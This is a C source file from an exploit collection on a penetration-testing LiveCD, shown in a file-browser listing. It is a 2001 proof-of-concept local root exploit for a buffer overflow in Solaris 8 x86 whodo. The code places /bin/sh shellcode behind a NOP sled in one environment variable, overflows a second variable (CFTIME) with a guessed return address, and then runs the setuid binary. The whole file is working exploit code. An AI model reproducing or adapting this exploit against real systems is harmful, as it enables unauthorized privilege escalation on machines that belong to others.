home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / solaris / local / whodoexp.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  1KB  |  48 lines

  1. #include <fcntl.h>
  2.  
  3. /*
  4.    /usr/sbin/i86/whodo overflow proof of conecpt.
  5.  
  6.    Pablo Sor, Buenos Aires, Argentina 06/2001
  7.    psor@afip.gov.ar, psor@ccc.uba.ar
  8.  
  9.    works against x86 solaris 8
  10.  
  11.    default offset +/- 100  should work.
  12.  
  13. */
  14.  
  15. long get_esp() { __asm__("movl %esp,%eax"); }
  16.  
  17. int main(int ac, char **av)
  18. {
  19.  
  20. char shell[]=
  21.  "\xeb\x48\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xb4"
  22.  "\x88\x46\xb9\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x8d\xe8\xdf"
  23.  "\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\xb0\x17\xe8\xd2\xff\xff\xff"
  24.  "\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89\x5e\x08\x53"
  25.  "\xb0\x3b\xe8\xbb\xff\xff\xff\x83\xc4\x0c\xe8\xbb\xff\xff\xff\x2f"
  26.  "\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff";
  27.  
  28.   unsigned long magic = get_esp() + 1180;  /* default offset */
  29.  
  30.   unsigned char buf[800];
  31.   char *env;
  32.  
  33.   env = (char *) malloc(400*sizeof(char));
  34.   memset(env,0x90,400);
  35.   memcpy(env+160,shell,strlen(shell));
  36.   memcpy(env,"SOR=",4);
  37.   buf[399]=0;
  38.   putenv(env);
  39.   
  40.   memset(buf,0x41,800);
  41.   memcpy(buf+271,&magic,4);
  42.   memcpy(buf,"CFTIME=",7);
  43.   buf[799]=0;
  44.   putenv(buf);
  45.  
  46.   system("/usr/sbin/i86/whodo");
  47. }
  48.